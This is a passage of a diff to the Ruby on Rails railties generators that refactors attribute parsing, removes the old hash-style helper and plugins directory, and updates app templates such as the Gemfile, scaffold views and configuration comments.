+      def javascript_runtime_gemfile_entry
+        if defined?(JRUBY_VERSION)
+          "gem 'therubyrhino'\n"
+        else
+          "# gem 'therubyracer', platforms: :ruby\n"
+        end
+      end
+
       def bundle_command(command)
         say_status :run, "bundle #{command}"
 
@@ -221,11 +247,11 @@ module Rails
         # end-user gets the bundler commands called anyway, so no big deal.
         #
         # Thanks to James Tucker for the Gem tricks involved in this call.
-        print `"#{Gem.ruby}" -rubygems "#{Gem.bin_path('bundler', 'bundle')}" #{command}`
+        print `"#{Gem.ruby}" "#{Gem.bin_path('bundler', 'bundle')}" #{command}`
       end
 
       def run_bundle
-        bundle_command('install') unless options[:skip_gemfile] || options[:skip_bundle]
+        bundle_command('install') unless options[:skip_gemfile] || options[:skip_bundle] || options[:pretend]
       end
 
       def empty_directory_with_gitkeep(destination, config = {})
@@ -236,16 +262,6 @@ module Rails
       def git_keep(destination)
         create_file("#{destination}/.gitkeep") unless options[:skip_git]
       end
-
-      # Returns Ruby 1.9 style key-value pair if current code is running on
-      # Ruby 1.9.x. Returns the old-style (with hash rocket) otherwise.
-      def key_value(key, value)
-        if options[:old_style_hash] || RUBY_VERSION < '1.9'
-          ":#{key} => #{value}"
-        else
-          "#{key}: #{value}"
-        end
-      end
     end
   end
 end
diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb
index f38a487a4e..a3f8ebf476 100644
--- a/railties/lib/rails/generators/base.rb
+++ b/railties/lib/rails/generators/base.rb
@@ -8,7 +8,6 @@ rescue LoadError
 end
 
 require 'rails/generators/actions'
-require 'active_support/core_ext/object/inclusion'
 
 module Rails
   module Generators
@@ -20,6 +19,7 @@ module Rails
       include Rails::Generators::Actions
 
       add_runtime_options!
+      strict_args_position!
 
       # Returns the source root for this generator using default_source_root as default.
       def self.source_root(path=nil)
@@ -31,10 +31,9 @@ module Rails
       # root otherwise uses a default description.
       def self.desc(description=nil)
         return super if description
-        usage = source_root && File.expand_path("../USAGE", source_root)
 
-        @desc ||= if usage && File.exist?(usage)
-          ERB.new(File.read(usage)).result(binding)
+        @desc ||= if usage_path
+          ERB.new(File.read(usage_path)).result(binding)
         else
           "Description:\n    Create #{base_name.humanize.downcase} files for #{generator_name} generator."
         end
@@ -48,6 +47,12 @@ module Rails
         @namespace ||= super.sub(/_generator$/, '').sub(/:generators:/, ':')
       end
 
+      # Convenience method to hide this generator from the available ones when
+      # running rails generator command.
+      def self.hide!
+        Rails::Generators.hide_namespace self.namespace
+      end
+
       # Invoke a generator based on the value supplied by the user to the
       # given option named "name". A class option is created when this method
       # is invoked and you can set a hash to customize it.
@@ -91,7 +96,7 @@ module Rails
       #
       # The lookup in this case for test_unit as input is:
       #
-      #   "test_framework:awesome", "test_framework"
+      #   "test_unit:awesome", "test_unit"
       #
       # Which is not the desired the lookup. You can change it by providing the
       # :as option:
@@ -102,7 +107,7 @@ module Rails
       #
       # And now it will lookup at:
       #
-      #   "test_framework:controller", "test_framework"
+      #   "test_unit:controller", "test_unit"
       #
       # Similarly, if you want it to also lookup in the rails namespace, you just
       # need to provide the :base value:
@@ -113,7 +118,7 @@ module Rails
       #
       # And the lookup is exactly the same as previously:
       #
-      #   "rails:test_framework", "test_framework:controller", "test_framework"
+      #   "rails:test_unit", "test_unit:controller", "test_unit"
       #
       # ==== Switches
       #
@@ -128,13 +133,13 @@ module Rails
       #
       # ==== Boolean hooks
       #
-      # In some cases, you want to provide a boolean hook. For example, webrat
+      # In some cases, you may want to provide a boolean hook. For example, webrat
       # developers might want to have webrat available on controller generator.
       # This can be achieved as:
       #
       #   Rails::Generators::ControllerGenerator.hook_for :webrat, :type => :boolean
       #
-      # Then, if you want, webrat to be invoked, just supply:
+      # Then, if you want webrat to be invoked, just supply:
       #
       #   rails generate controller Account --webrat
       #
@@ -146,7 +151,7 @@ module Rails
       #
       # You can also supply a block to hook_for to customize how the hook is
       # going to be invoked. The block receives two arguments, an instance
-      # of the current class and the klass to be invoked.
+      # of the current class and the class to be invoked.
       #
       # For example, in the resource generator, the controller should be invoked
       # with a pluralized class name. But by default it is invoked with the same
@@ -165,7 +170,7 @@ module Rails
         names.each do |name|
           defaults = if options[:type] == :boolean
             { }
-          elsif default_value_for_option(name, options).in?([true, false])
+          elsif [true, false].include?(default_value_for_option(name, options))
             { :banner => "" }
           else
             { :desc => "#{name.to_s.humanize} to be invoked", :banner => "NAME" }
@@ -182,10 +187,7 @@ module Rails
 
       # Remove a previously added hook.
       #
-      # ==== Examples
-      #
       #   remove_hook_for :orm
-      #
       def self.remove_hook_for(*names)
         remove_invocation(*names)
 
@@ -207,7 +209,8 @@ module Rails
       # root, you should use source_root.
       def self.default_source_root
         return unless base_name && generator_name
-        path = File.expand_path(File.join(base_name, generator_name, 'templates'), base_root)
+        return unless default_generator_root
+        path = File.join(default_generator_root, 'templates')
         path if File.exists?(path)
       end
 
@@ -242,7 +245,6 @@ module Rails
 
         # Check whether the given class names are already taken by user
         # application or Ruby on Rails.
-        #
         def class_collisions(*class_names) #:nodoc:
           return unless behavior == :invoke
 
@@ -254,17 +256,13 @@ module Rails
             nesting = class_name.split('::')
             last_name = nesting.pop
 
-            # Hack to limit const_defined? to non-inherited on 1.9
-            extra = []
-            extra << false unless Object.method(:const_defined?).arity == 1
-
             # Extract the last Module in the nesting
             last = nesting.inject(Object) do |last_module, nest|
-              break unless last_module.const_defined?(nest, *extra)
+              break unless last_module.const_defined?(nest, false)
               last_module.const_get(nest)
             end
 
-            if last && last.const_defined?(last_name.camelize, *extra)
+            if last && last.const_defined?(last_name.camelize, false)
               raise Error, "The name '#{class_name}' is either already used in your application " <<
                            "or reserved by Ruby on Rails. Please choose an alternative and run "  <<
                            "this generator again."
@@ -273,13 +271,11 @@ module Rails
         end
 
         # Use Rails default banner.
-        #
         def self.banner
           "rails generate #{namespace.sub(/^rails:/,'')} #{self.arguments.map{ |a| a.usage }.join(' ')} [options]".gsub(/\s+/, ' ')
         end
 
         # Sets the base_name taking into account the current class namespace.
-        #
         def self.base_name
           @base_name ||= begin
             if base = name.to_s.split('::').first
@@ -290,7 +286,6 @@ module Rails
 
         # Removes the namespaces and get the generator name. For example,
         # Rails::Generators::ModelGenerator will return "model" as generator name.
-        #
         def self.generator_name
           @generator_name ||= begin
             if generator = name.to_s.split('::').last
@@ -302,20 +297,17 @@ module Rails
 
         # Return the default value for the option name given doing a lookup in
         # Rails::Generators.options.
-        #
         def self.default_value_for_option(name, options)
           default_for_option(Rails::Generators.options, name, options, options[:default])
         end
 
         # Return default aliases for the option name given doing a lookup in
         # Rails::Generators.aliases.
-        #
         def self.default_aliases_for_option(name, options)
           default_for_option(Rails::Generators.aliases, name, options, options[:aliases])
         end
 
         # Return default for the option name given doing a lookup in config.
-        #
         def self.default_for_option(config, name, options, default)
           if generator_name and c = config[generator_name.to_sym] and c.key?(name)
             c[name]
@@ -329,14 +321,12 @@ module Rails
         end
 
         # Keep hooks configuration that are used on prepare_for_invocation.
-        #
         def self.hooks #:nodoc:
           @hooks ||= from_superclass(:hooks, {})
         end
 
         # Prepare class invocation to search on Rails namespace if a previous
         # added hook is being used.
-        #
         def self.prepare_for_invocation(name, value) #:nodoc:
           return super unless value.is_a?(String) || value.is_a?(Symbol)
 
@@ -352,7 +342,6 @@ module Rails
 
         # Small macro to add ruby as an option to the generator with proper
         # default value plus an instance helper method called shebang.
-        #
         def self.add_shebang_option!
           class_option :ruby, :type => :string, :aliases => "-r", :default => Thor::Util.ruby_command,
                               :desc => "Path to the Ruby binary of your choice", :banner => "PATH"
@@ -371,6 +360,19 @@ module Rails
           }
         end
 
+        def self.usage_path
+          paths = [
+            source_root && File.expand_path("../USAGE", source_root),
+            default_generator_root && File.join(default_generator_root, "USAGE")
+          ]
+          paths.compact.detect { |path| File.exists? path }
+        end
+
+        def self.default_generator_root
+          path = File.expand_path(File.join(base_name, generator_name), base_root)
+          path if File.exists?(path)
+        end
+
     end
   end
 end
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
index 7b1a2a1841..f5182bcc50 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/index.html.erb
@@ -1,25 +1,27 @@
 <h1>Listing <%= plural_table_name %></h1>
 
 <table>
-  <tr>
-<% attributes.each do |attribute| -%>
-    <th><%= attribute.human_name %></th>
-<% end -%>
-    <th></th>
-    <th></th>
-    <th></th>
-  </tr>
+  <thead>
+    <tr>
+  <% attributes.each do |attribute| -%>
+      <th><%= attribute.human_name %></th>
+  <% end -%>
+      <th></th>
+      <th></th>
+      <th></th>
+    </tr>
+  </thead>
 
-<%% @<%= plural_table_name %>.each do |<%= singular_table_name %>| %>
-  <tr>
-<% attributes.each do |attribute| -%>
-    <td><%%= <%= singular_table_name %>.<%= attribute.name %> %></td>
-<% end -%>
-    <td><%%= link_to 'Show', <%= singular_table_name %> %></td>
-    <td><%%= link_to 'Edit', edit_<%= singular_table_name %>_path(<%= singular_table_name %>) %></td>
-    <td><%%= link_to 'Destroy', <%= singular_table_name %>, <%= key_value :confirm, "'Are you sure?'" %>, <%= key_value :method, ":delete" %> %></td>
-  </tr>
-<%% end %>
+  <tbody>
+    <%%= content_tag_for(:tr, @<%= plural_table_name %>) do |<%= singular_table_name %>| %>
+  <% attributes.each do |attribute| -%>
+      <td><%%= <%= singular_table_name %>.<%= attribute.name %> %></td>
+  <% end -%>
+      <td><%%= link_to 'Show', <%= singular_table_name %> %></td>
+      <td><%%= link_to 'Edit', edit_<%= singular_table_name %>_path(<%= singular_table_name %>) %></td>
+      <td><%%= link_to 'Destroy', <%= singular_table_name %>, method: :delete, data: { confirm: 'Are you sure?' } %></td>
+    <%% end %>
+  </tbody>
 </table>
 
 <br />
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
index 67f263efbb..e15c963971 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/show.html.erb
@@ -2,7 +2,7 @@
 
 <% attributes.each do |attribute| -%>
 <p>
-  <b><%= attribute.human_name %>:</b>
+  <strong><%= attribute.human_name %>:</strong>
   <%%= @<%= singular_table_name %>.<%= attribute.name %> %>
 </p>
 
diff --git a/railties/lib/rails/generators/generated_attribute.rb b/railties/lib/rails/generators/generated_attribute.rb
index 816d82cac3..d2c2abf40c 100644
--- a/railties/lib/rails/generators/generated_attribute.rb
+++ b/railties/lib/rails/generators/generated_attribute.rb
@@ -1,14 +1,63 @@
 require 'active_support/time'
-require 'active_support/core_ext/object/inclusion'
 
 module Rails
   module Generators
     class GeneratedAttribute
+      INDEX_OPTIONS = %w(index uniq)
+      UNIQ_INDEX_OPTIONS = %w(uniq)
+
       attr_accessor :name, :type
+      attr_reader   :attr_options
+      attr_writer   :index_name
+
+      class << self
+        def parse(column_definition)
+          name, type, has_index = column_definition.split(':')
+
+          # if user provided "name:index" instead of "name:string:index"
+          # type should be set blank so GeneratedAttribute's constructor
+          # could set it to :string
+          has_index, type = type, nil if INDEX_OPTIONS.include?(type)
+
+          type, attr_options = *parse_type_and_options(type)
+          type = type.to_sym if type
+
+          if type && reference?(type)
+            references_index = UNIQ_INDEX_OPTIONS.include?(has_index) ? { :unique => true } : true
+            attr_options[:index] = references_index
+          end
+
+          new(name, type, has_index, attr_options)
+        end
+
+        def reference?(type)
+          [:references, :belongs_to].include? type
+        end
+
+        private
+
+        # parse possible attribute options like :limit for string/text/binary/integer, :precision/:scale for decimals or :polymorphic for references/belongs_to
+        # when declaring options curly brackets should be used
+        def parse_type_and_options(type)
+          case type
+          when /(string|text|binary|integer)\{(\d+)\}/
+            return $1, :limit => $2.to_i
+          when /decimal\{(\d+)[,.-](\d+)\}/
+            return :decimal, :precision => $1.to_i, :scale => $2.to_i
+          when /(references|belongs_to)\{polymorphic\}/
+            return $1, :polymorphic => true
+          else
+            return type, {}
+          end
+        end
+      end
 
-      def initialize(name, type)
-        type = :string if type.blank?
-        @name, @type = name, type.to_sym
+      def initialize(name, type=nil, index_type=false, attr_options={})
+        @name           = name
+        @type           = type || :string
+        @has_index      = INDEX_OPTIONS.include?(index_type)
+        @has_uniq_index = UNIQ_INDEX_OPTIONS.include?(index_type)
+        @attr_options   = attr_options
       end
 
       def field_type
@@ -41,12 +90,48 @@ module Rails
         end
       end
 
+      def plural_name
+        name.sub(/_id$/, '').pluralize
+      end
+
       def human_name
-        name.to_s.humanize
+        name.humanize
+      end
+
+      def index_name
+        @index_name ||= if reference?
+          polymorphic? ? %w(id type).map { |t| "#{name}_#{t}" } : "#{name}_id"
+        else
+          name
+        end
+      end
+
+      def foreign_key?
+        !!(name =~ /_id$/)
       end
 
       def reference?
-        self.type.in?([:references, :belongs_to])
+        self.class.reference?(type)
+      end
+
+      def polymorphic?
+        self.attr_options.has_key?(:polymorphic)
+      end
+
+      def has_index?
+        @has_index
+      end
+
+      def has_uniq_index?
+        @has_uniq_index
+      end
+
+      def inject_options
+        "".tap { |s| @attr_options.each { |k,v| s << ", #{k}: #{v.inspect}" } }
+      end
+
+      def inject_index_options
+        has_uniq_index? ? ", unique: true" : ""
       end
     end
   end
diff --git a/railties/lib/rails/generators/migration.rb b/railties/lib/rails/generators/migration.rb
index 0c5c4f6e09..5bf98bb6e0 100644
--- a/railties/lib/rails/generators/migration.rb
+++ b/railties/lib/rails/generators/migration.rb
@@ -3,7 +3,6 @@ module Rails
     # Holds common methods for migrations. It assumes that migrations has the
     # [0-9]*_name format and can be used by another frameworks (like Sequel)
     # just by implementing the next migration version method.
-    #
     module Migration
       attr_reader :migration_number, :migration_file_name, :migration_class_name
 
@@ -38,10 +37,7 @@ module Rails
       # The migration version, migration file name, migration class name are
       # available as instance variables in the template to be rendered.
       #
-      # ==== Examples
-      #
       #   migration_template "migration.rb", "db/migrate/add_foo_to_bar.rb"
-      #
       def migration_template(source, destination=nil, config={})
         destination = File.expand_path(destination || source, self.destination_root)
 
diff --git a/railties/lib/rails/generators/named_base.rb b/railties/lib/rails/generators/named_base.rb
index c6c0392f43..b61a5fc69d 100644
--- a/railties/lib/rails/generators/named_base.rb
+++ b/railties/lib/rails/generators/named_base.rb
@@ -9,9 +9,6 @@ module Rails
       class_option :skip_namespace, :type => :boolean, :default => false,
                                     :desc => "Skip namespace (affects only isolated applications)"
 
-      class_option :old_style_hash, :type => :boolean, :default => false,
-                                    :desc => "Force using old style hash (:foo => 'bar') on Ruby >= 1.9"
-
       def initialize(args, *options) #:nodoc:
         @inside_template = nil
         # Unfreeze name in case it's given as a frozen string
@@ -43,7 +40,7 @@ module Rails
 
         def indent(content, multiplier = 2)
           spaces = " " * multiplier
-          content = content.each_line.map {|line| "#{spaces}#{line}" }.join
+          content = content.each_line.map {|line| line.blank? ? line : "#{spaces}#{line}" }.join
         end
 
         def wrap_with_namespace(content)
@@ -82,11 +79,16 @@ module Rails
           @class_path
         end
 
+        def namespaced_file_path
+          @namespaced_file_path ||= namespaced_class_path.join("/")
+        end
+
         def namespaced_class_path
-          @namespaced_class_path ||= begin
-            namespace_path = namespace.name.split("::").map {|m| m.underscore }
-            namespace_path + @class_path
-          end
+          @namespaced_class_path ||= [namespaced_path] + @class_path
+        end
+
+        def namespaced_path
+          @namespaced_path ||= namespace.name.split("::").map {|m| m.underscore }[0]
         end
 
         def class_name
@@ -102,7 +104,7 @@ module Rails
         end
 
         def i18n_scope
-          @i18n_scope ||= file_path.gsub('/', '.')
+          @i18n_scope ||= file_path.tr('/', '.')
         end
 
         def table_name
@@ -133,7 +135,7 @@ module Rails
         end
 
         def route_url
-          @route_url ||= class_path.collect{|dname| "/" + dname  }.join('') + "/" + plural_file_name
+          @route_url ||= class_path.collect {|dname| "/" + dname }.join + "/" + plural_file_name
         end
 
         # Tries to retrieve the application name or simple return application.
@@ -153,9 +155,8 @@ module Rails
 
         # Convert attributes array into GeneratedAttribute objects.
         def parse_attributes! #:nodoc:
-          self.attributes = (attributes || []).map do |key_value|
-            name, type = key_value.split(':')
-            Rails::Generators::GeneratedAttribute.new(name, type)
+          self.attributes = (attributes || []).map do |attr|
+            Rails::Generators::GeneratedAttribute.parse(attr)
           end
         end
 
@@ -184,16 +185,6 @@ module Rails
             class_collisions "#{options[:prefix]}#{name}#{options[:suffix]}"
           end
         end
-
-        # Returns Ruby 1.9 style key-value pair if current code is running on
-        # Ruby 1.9.x. Returns the old-style (with hash rocket) otherwise.
-        def key_value(key, value)
-          if options[:old_style_hash] || RUBY_VERSION < '1.9'
-            ":#{key} => #{value}"
-          else
-            "#{key}: #{value}"
-          end
-        end
     end
   end
 end
diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb
index 3e32f758a4..c06b0f8994 100644
--- a/railties/lib/rails/generators/rails/app/app_generator.rb
+++ b/railties/lib/rails/generators/rails/app/app_generator.rb
@@ -38,7 +38,7 @@ module Rails
     end
 
     def readme
-      copy_file "README"
+      copy_file "README", "README.rdoc"
     end
 
     def gemfile
@@ -97,6 +97,11 @@ module Rails
 
     def public_directory
       directory "public", "public", :recursive => false
+      if options[:skip_index_html]
+        remove_file "public/index.html"
+        remove_file 'app/assets/images/rails.png'
+        git_keep 'app/assets/images'
+      end
     end
 
     def script
@@ -124,7 +129,6 @@ module Rails
     def vendor
       vendor_javascripts
       vendor_stylesheets
-      vendor_plugins
     end
 
     def vendor_javascripts
@@ -134,10 +138,6 @@ module Rails
     def vendor_stylesheets
       empty_directory_with_gitkeep "vendor/assets/stylesheets"
     end
-
-    def vendor_plugins
-      empty_directory_with_gitkeep "vendor/plugins"
-    end
   end
 
   module Generators
diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile
index d3b8f4d595..55a6b3f4f2 100644
--- a/railties/lib/rails/generators/rails/app/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/app/templates/Gemfile
@@ -1,11 +1,10 @@
-source 'http://rubygems.org'
+source 'https://rubygems.org'
 
 <%= rails_gemfile_entry -%>
 
 <%= database_gemfile_entry -%>
 
 <%= "gem 'jruby-openssl'\n" if defined?(JRUBY_VERSION) -%>
-<%= "gem 'json'\n" if RUBY_VERSION < "1.9.2" -%>
 
 <%= assets_gemfile_entry %>
 <%= javascript_gemfile_entry %>
@@ -13,11 +12,14 @@ source 'http://rubygems.org'
 # To use ActiveModel has_secure_password
 # gem 'bcrypt-ruby', '~> 3.0.0'
 
-# Use unicorn as the web server
+# To use Jbuilder templates for JSON
+# gem 'jbuilder'
+
+# Use unicorn as the app server
 # gem 'unicorn'
 
 # Deploy with Capistrano
-# gem 'capistrano'
+# gem 'capistrano', group: :development
 
 # To use debugger
-# <%= ruby_debugger_gemfile_entry %>
+# gem 'debugger'
diff --git a/railties/lib/rails/generators/rails/app/templates/README b/railties/lib/rails/generators/rails/app/templates/README
index 7c36f2356e..b5d7b6436b 100644
--- a/railties/lib/rails/generators/rails/app/templates/README
+++ b/railties/lib/rails/generators/rails/app/templates/README
@@ -86,8 +86,8 @@ programming in general.
 Debugger support is available through the debugger command when you start your
 Mongrel or WEBrick server with --debugger. This means that you can break out of
 execution at any point in the code, investigate and change the model, and then,
-resume execution! You need to install ruby-debug to run the server in debugging
-mode. With gems, use <tt>sudo gem install ruby-debug</tt>. Example:
+resume execution! You need to install the 'debugger' gem to run the server in debugging
+mode. Add gem 'debugger' to your Gemfile and run <tt>bundle</tt> to install it. Example:
 
   class WeblogController < ActionController::Base
     def index
@@ -191,7 +191,6 @@ The default directory structure of a generated Ruby on Rails application:
   `-- vendor
       |-- assets
           `-- stylesheets
-      `-- plugins
 
 app
   Holds all the code that's specific to this particular application.
@@ -256,6 +255,5 @@ test
   directory.
 
 vendor
-  External libraries that the application depends on. Also includes the plugins
-  subdirectory. If the app has frozen rails, those gems also go here, under
-  vendor/rails/. This directory is in the load path.
+  External libraries that the application depends on. If the app has frozen rails,
+  those gems also go here, under vendor/rails/. This directory is in the load path.
diff --git a/railties/lib/rails/generators/rails/app/templates/Rakefile b/railties/lib/rails/generators/rails/app/templates/Rakefile
index 4dc1023f1f..6eb23f68a3 100755..100644
--- a/railties/lib/rails/generators/rails/app/templates/Rakefile
+++ b/railties/lib/rails/generators/rails/app/templates/Rakefile
@@ -1,4 +1,3 @@
-#!/usr/bin/env rake
 # Add your own tasks in files placed in lib/tasks ending in .rake,
 # for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
 
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
index 3b5cc6648e..3192ec897b 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
@@ -10,4 +10,4 @@
  *
  *= require_self
  *= require_tree .
-*/
+ */
diff --git a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb
deleted file mode 100644
index e8065d9505..0000000000
--- a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class ApplicationController < ActionController::Base
-  protect_from_forgery
-end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt
new file mode 100644
index 0000000000..6c0ef31725
--- /dev/null
+++ b/railties/lib/rails/generators/rails/app/templates/app/controllers/application_controller.rb.tt
@@ -0,0 +1,5 @@
+class ApplicationController < ActionController::Base
+  # Prevent CSRF attacks by raising an exception.
+  # For APIs, you may want to use :reset_session instead.
+  protect_from_forgery with: :exception
+end
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
index c63d1b6ac5..e0539aa8bb 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
@@ -2,7 +2,7 @@
 <html>
 <head>
   <title><%= camelized %></title>
-  <%%= stylesheet_link_tag    "application" %>
+  <%%= stylesheet_link_tag    "application", media: "all" %>
   <%%= javascript_include_tag "application" %>
   <%%= csrf_meta_tags %>
 </head>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb
index 13fbe9e526..1ac0248bcf 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/application.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb
@@ -7,15 +7,14 @@ require 'rails/all'
 <%= comment_if :skip_active_record %>require "active_record/railtie"
 require "action_controller/railtie"
 require "action_mailer/railtie"
-require "active_resource/railtie"
-<%= comment_if :skip_sprockets %>require "sprockets/railtie"
+<%= comment_if :skip_sprockets %>require "sprockets/rails/railtie"
 <%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
 <% end -%>
 
 if defined?(Bundler)
-  # If you precompile assets before deploying to production, use this line
-  Bundler.require(*Rails.groups(:assets => %w(development test)))
-  # If you want your assets lazily compiled in production, use this line
+  # If you precompile assets before deploying to production, use this line.
+  Bundler.require(*Rails.groups(assets: %w(development test)))
+  # If you want your assets lazily compiled in production, use this line.
   # Bundler.require(:default, :assets, Rails.env)
 end
 
@@ -28,13 +27,6 @@ module <%= app_const_base %>
     # Custom directories with classes and modules you want to be autoloadable.
     # config.autoload_paths += %W(#{config.root}/extras)
 
-    # Only load the plugins named here, in the order given (default is alphabetical).
-    # :all can be used as a placeholder for all plugins not explicitly named.
-    # config.plugins = [ :exception_notification, :ssl_requirement, :all ]
-
-    # Activate observers that should always be running.
-    # config.active_record.observers = :cacher, :garbage_collector, :forum_observer
-
     # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
     # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
     # config.time_zone = 'Central Time (US & Canada)'
@@ -49,12 +41,26 @@ module <%= app_const_base %>
     # Configure sensitive parameters which will be filtered from the log file.
     config.filter_parameters += [:password]
 
+    # Use SQL instead of Active Record's schema dumper when creating the database.
+    # This is necessary if your schema can't be completely dumped by the schema dumper,
+    # like if you have constraints or database-specific column types.
+    # config.active_record.schema_format = :sql
+
+    # Enforce whitelist mode for mass assignment.
+    # This will create an empty whitelist of attributes available for mass-assignment for all models
+    # in your app. As such, your models will need to explicitly whitelist or blacklist accessible
+    # parameters by using an attr_accessible or attr_protected declaration.
+    <%= comment_if :skip_active_record %>config.active_record.whitelist_attributes = true
 <% unless options.skip_sprockets? -%>
-    # Enable the asset pipeline
+
+    # Enable the asset pipeline.
     config.assets.enabled = true
 
-    # Version of your assets, change this if you want to expire all your assets
+    # Version of your assets, change this if you want to expire all your assets.
     config.assets.version = '1.0'
 <% end -%>
+
+    # Enable app-wide asynchronous ActionMailer.
+    # config.action_mailer.async = true
   end
 end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/boot.rb b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
index 4489e58688..3596736667 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/boot.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
@@ -1,5 +1,3 @@
-require 'rubygems'
-
 # Set up gems listed in the Gemfile.
 ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
 
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
index fe9466b366..e1a00d076f 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbcpostgresql.yml
@@ -22,8 +22,8 @@ development:
   # Minimum log levels, in increasing order:
   #   debug5, debug4, debug3, debug2, debug1,
   #   log, notice, warning, error, fatal, and panic
-  # The server defaults to notice.
-  #min_messages: warning
+  # Defaults to warning.
+  #min_messages: notice
 
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
index cce166c7c3..c3349912aa 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/mysql.yml
@@ -1,5 +1,5 @@
 # MySQL.  Versions 4.1 and 5.0 are recommended.
-# 
+#
 # Install the MYSQL driver
 #   gem install mysql2
 #
@@ -11,7 +11,6 @@
 development:
   adapter: mysql2
   encoding: utf8
-  reconnect: false
   database: <%= app_name %>_development
   pool: 5
   username: root
@@ -28,7 +27,6 @@ development:
 test:
   adapter: mysql2
   encoding: utf8
-  reconnect: false
   database: <%= app_name %>_test
   pool: 5
   username: root
@@ -42,7 +40,6 @@ test:
 production:
   adapter: mysql2
   encoding: utf8
-  reconnect: false
   database: <%= app_name %>_production
   pool: 5
   username: root
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
index f08f86aac3..07223a71c9 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/postgresql.yml
@@ -24,6 +24,9 @@ development:
   # domain socket that doesn't need configuration. Windows does not have
   # domain sockets, so uncomment these lines.
   #host: localhost
+  
+  # The TCP port the server listens on. Defaults to 5432.
+  # If your server runs on a different port number, change accordingly.
   #port: 5432
 
   # Schema search path. The server defaults to $user,public
@@ -32,8 +35,8 @@ development:
   # Minimum log levels, in increasing order:
   #   debug5, debug4, debug3, debug2, debug1,
   #   log, notice, warning, error, fatal, and panic
-  # The server defaults to notice.
-  #min_messages: warning
+  # Defaults to warning.
+  #min_messages: notice
 
 # Warning: The database defined as "test" will be erased and
 # re-generated from your development database when you run "rake".
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environment.rb b/railties/lib/rails/generators/rails/app/templates/config/environment.rb
index 1684986a59..e080ebd74e 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environment.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/environment.rb
@@ -1,5 +1,5 @@
-# Load the rails application
+# Load the rails application.
 require File.expand_path('../application', __FILE__)
 
-# Initialize the rails application
+# Initialize the rails application.
 <%= app_const %>.initialize!
diff --git a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
index 47078e3af9..122e7e2b34 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt
@@ -1,35 +1,47 @@
 <%= app_const %>.configure do
-  # Settings specified here will take precedence over those in config/application.rb
+  # Settings specified here will take precedence over those in config/application.rb.
 
   # In the development environment your application's code is reloaded on
   # every request. This slows down response time but is perfect for development
   # since you don't have to restart the web server when you make code changes.
   config.cache_classes = false
 
-  # Log error messages when you accidentally call methods on nil.
-  config.whiny_nils = true
+  # Do not eager load code on boot.
+  config.eager_load = false
 
-  # Show full error reports and disable caching
+  # Show full error reports and disable caching.
   config.consider_all_requests_local       = true
   config.action_controller.perform_caching = false
 
-  # Don't care if the mailer can't send
+  # Don't care if the mailer can't send.
   config.action_mailer.raise_delivery_errors = false
 
